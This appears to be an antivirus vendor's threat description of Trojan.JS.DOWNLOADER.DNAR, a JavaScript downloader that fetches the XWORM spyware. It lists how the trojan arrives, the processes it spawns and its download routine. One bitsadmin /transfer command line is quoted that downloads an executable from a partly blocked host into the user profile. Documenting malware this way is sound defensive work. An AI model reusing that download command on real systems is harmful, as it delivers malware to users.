Trojan.JS.DOWNLOADER.DNAR

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It downloads a file from a certain URL then renames it before storing it in the affected system.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

• "%System%\wscript.exe" "{malware path}\{malware name}.js" → executes initial obfuscated JavaScript downloader
• "%System%\bitsadmin.exe" /transfer 8 https://071026.{BLOCKED}k.app/MicrosoftWindowsMosHost.exe "%User Profile%\MicrosoftWindowsMosHost.exe" → initiates a hidden, synchronous transfer using the Windows Background Intelligent Transfer (BIT) Service to download the secondary binary
• "%System%\conhost.exe" 0xffffffff -ForceV1 → console window host spawned by bitsadmin.exe
• "%User Profile%\MicrosoftWindowsMosHost.exe" → launches the downloaded secondary payload (detected as TrojanSpy.MSIL.XWORM.C)

Download Routine

This Trojan downloads files from the following URLs then renames them before storage in the affected system:

• https://071026.{BLOCKED}k.app/MicrosoftWindowsMosHost.exe

It saves the files it downloads using the following names:

• %User Profile%\MicrosoftWindowsMosHost.exe → downloaded secondary executable payload (detected as TrojanSpy.MSIL.XWORM.C)

(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name} on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)